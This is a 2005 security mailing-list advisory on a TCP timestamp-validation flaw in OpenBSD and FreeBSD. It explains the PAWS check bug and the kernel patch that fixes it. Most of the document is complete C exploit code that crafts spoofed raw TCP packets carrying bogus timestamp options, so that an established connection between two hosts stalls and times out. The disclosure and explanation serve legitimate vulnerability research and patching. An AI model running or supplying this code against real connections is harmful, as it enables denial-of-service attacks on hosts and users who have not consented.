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| Subject: | [EXPL] TCP Does Not Adequately Validate Segments Before Updating Timestamp Value (Exploit) |
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| Date: | 22 May 2005 18:26:08 +0200 |
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com - - promotion The SecuriTeam alerts list - Free, Accurate, Independent. Get your security news from a reliable source. http://www.securiteam.com/mailinglist.html - - - - - - - - - TCP Does Not Adequately Validate Segments Before Updating Timestamp Value (Exploit) ------------------------------------------------------------------------ SUMMARY Certain TCP implementations may allow a remote attacker to arbitrarily modify host timestamp values, leading to a denial-of-service condition. The following exploit code can be used to test the remote host for the mentioned vulnerability. DETAILS Exploit: /* * TCP does not adequately validate segments before updating timestamp value * http://www.kb.cert.org/vuls/id/637934 * * RFC-1323 (TCP Extensions for High Performance) * * 4.2.1 defines how the PAWS algorithm should drop packets with invalid * timestamp options: * * R1) If there is a Timestamps option in the arriving segment * and SEG.TSval < TS.Recent and if TS.Recent is valid (see * later discussion), then treat the arriving segment as not * acceptable: * * Send an acknowledgement in reply as specified in * RFC-793 page 69 and drop the segment. * * 3.4 defines what timestamp options to accept: * * (2) If Last.ACK.sent falls within the range of sequence numbers * of an incoming segment: * * SEG.SEQ <= Last.ACK.sent < SEG.SEQ + SEG.LEN * * then the TSval from the segment is copied to TS.Recent; * otherwise, the TSval is ignored. * * http://community.roxen.com/developers/idocs/drafts/ * draft-jacobson-tsvwg-1323bis-00.html * * 3.4 suggests an slightly different check like * * (2) If: SEG.TSval >= TSrecent and SEG.SEQ <= Last.ACK.sent * then SEG.TSval is copied to TS.Recent; otherwise, it is * ignored. * * and explains this change * * APPENDIX C: CHANGES FROM RFC-1072, RFC-1185, RFC-1323 * * There are additional changes in this document from RFC-1323. * These changes are: * (b) In RFC-1323, section 3.4, step (2) of the algorithm to control * which timestamp is echoed was incorrect in two regards: * (1) It failed to update TSrecent for a retransmitted segment * that resulted from a lost ACK. * (2) It failed if SEG.LEN = 0. * In the new algorithm, the case of SEG.TSval = TSrecent is * included for consistency with the PAWS test. * * At least OpenBSD and FreeBSD contain this code instead: * * sys/netinet/tcp_input.c tcp_input() * * ** * * If last ACK falls within this segment's sequence numbers, * * record its timestamp. * * NOTE that the test is modified according to the latest * * proposal of the tcplw@cray.com list (Braden 1993/04/26). * ** * if ((to.to_flags & TOF_TS) != 0 && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * tp->ts_recent_age = ticks; * tp->ts_recent = to.to_tsval; * } * * The problem here is that the packet the timestamp is accepted from doesn't * need to have a valid th_seq or th_ack. This point of execution is reached * for packets with arbitrary th_ack values and th_seq values of half the * possible value range, because the first 'if (todrop > tlen)' check in the * function explicitely continues execution to process ACKs. * * If an attacker knows (or guesses) the source and destination addresses and * ports of a connection between two peers, he can send spoofed TCP packets * to either peer containing bogus timestamp options. Since half of the * possible th_seq and timestamp values are accepted, four packets containing * two random values and their integer wraparound opposites are sufficient to * get one random timestamp accepted by the receipient. Further packets from * the real peer will get dropped by PAWS, and the TCP connection stalls and * times out. * * The following change reverts the tcp_input() check back to the implemented * suggested by draft-jacobson-tsvwg-1323bis-00.txt * * if (opti.ts_present && TSTMP_GEQ(opti.ts_val, tp->ts_recent) && * SEQ_LEQ(th->th_seq, tp->last_ack_sent)) { * + if (SEQ_LEQ(tp->last_ack_sent, th->th_seq + tlen + * + ((tiflags & (TH_SYN|TH_FIN)) != 0))) * + tp->ts_recent = opti.ts_val; * + else * + tp->ts_recent = 0; * tp->ts_recent_age = tcp_now; * - tp->ts_recent = opti.ts_val; * } * * I can't find Braden's proposal referenced in the comment. It seems to * pre-date draft-jacobson-tsvwg-1323bis-00.txt and might be outdated by * it. * * Fri Mar 11 02:33:36 MET 2005 Daniel Hartmeier <daniel@benzedrine.cx> * * http://www.openbsd.org/cgi-bin/cvsweb/src/sys/netinet/tcp_input.c.diff\ * ?r1=1.184&r2=1.185&f=h * * http://www.freebsd.org/cgi/cvsweb.cgi/src/sys/netinet/tcp_input.c.diff\ * ?r1=1.252.2.15&r2=1.252.2.16&f=h * */ #include <stdio.h> #include <stdlib.h> #include <sys/socket.h> #include <net/if.h> #ifdef __FreeBSD__ #include <net/if_var.h> #endif #include <netinet/in.h> #include <netinet/in_var.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/tcp.h> static u_int16_t checksum(u_int16_t *data, u_int16_t length) { u_int32_t value = 0; u_int16_t i; for (i = 0; i < (length >> 1); ++i) value += data[i]; if ((length & 1) == 1) value += (data[i] << 8); value = (value & 65535) + (value >> 16); return (~value); } static int send_tcp(int sock, u_int32_t saddr, u_int32_t daddr, u_int16_t sport, u_int16_t dport, u_int32_t seq, u_int32_t ts) { u_char packet[1600]; struct tcphdr *tcp; struct ip *ip; unsigned char *opt; int optlen, len, r; struct sockaddr_in sin; memset(packet, 0, sizeof(packet)); opt = packet + sizeof(struct ip) + sizeof(struct tcphdr); optlen = 0; opt[optlen++] = TCPOPT_NOP; opt[optlen++] = TCPOPT_NOP; opt[optlen++] = TCPOPT_TIMESTAMP; opt[optlen++] = 10; ts = htonl(ts); memcpy(opt + optlen, &ts, sizeof(ts)); optlen += sizeof(ts); ts = htonl(0); memcpy(opt + optlen, &ts, sizeof(ts)); optlen += sizeof(ts); len = sizeof(struct ip) + sizeof(struct tcphdr) + optlen; ip = (struct ip *)packet; ip->ip_src.s_addr = saddr; ip->ip_dst.s_addr = daddr; ip->ip_p = IPPROTO_TCP; ip->ip_len = htons(sizeof(struct tcphdr) + optlen); tcp = (struct tcphdr *)(packet + sizeof(struct ip)); tcp->th_sport = htons(sport); tcp->th_dport = htons(dport); tcp->th_seq = htonl(seq); tcp->th_ack = 0; tcp->th_off = (sizeof(struct tcphdr) + optlen) / 4; tcp->th_flags = 0; tcp->th_win = htons(16384); tcp->th_sum = 0; tcp->th_urp = 0; tcp->th_sum = checksum((u_int16_t *)ip, len); ip->ip_v = 4; ip->ip_hl = 5; ip->ip_tos = 0; ip->ip_len = htons(len); ip->ip_id = htons(arc4random() % 65536); ip->ip_off = 0; ip->ip_ttl = 64; sin.sin_family = AF_INET; sin.sin_addr.s_addr = saddr; r = sendto(sock, packet, len, 0, (struct sockaddr *)&sin, sizeof(sin)); if (r != len) { perror("sendto"); return (1); } return (0); } static u_int32_t op(u_int32_t u) { return (u_int32_t)(((u_int64_t)u + 2147483648UL) % 4294967296ULL); } int main(int argc, char *argv[]) { u_int32_t saddr, daddr, seq, ts; u_int16_t sport, dport; int sock, i; if (argc != 5) { fprintf(stderr, "usage: %s <src ip> <src port> " "<dst ip> <dst port>\n", argv[0]); return (1); } saddr = inet_addr(argv[1]); daddr = inet_addr(argv[3]); sport = atoi(argv[2]); dport = atoi(argv[4]); sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW); if (sock < 0) { perror("socket"); return (1); } i = 1; if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &i, sizeof(i)) == -1) { perror("setsockopt"); close(sock); return (1); } seq = arc4random(); ts = arc4random(); if (send_tcp(sock, saddr, daddr, sport, dport, seq, ts) || send_tcp(sock, saddr, daddr, sport, dport, seq, op(ts)) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), ts) || send_tcp(sock, saddr, daddr, sport, dport, op(seq), op(ts))) { fprintf(stderr, "failed\n"); close(sock); return (1); } close(sock); printf("done\n"); return (0); } ADDITIONAL INFORMATION The information has been provided by <mailto:daniel@benzedrine.cx> Daniel Hartmeier. ======================================== This bulletin is sent to members of the SecuriTeam mailing list. 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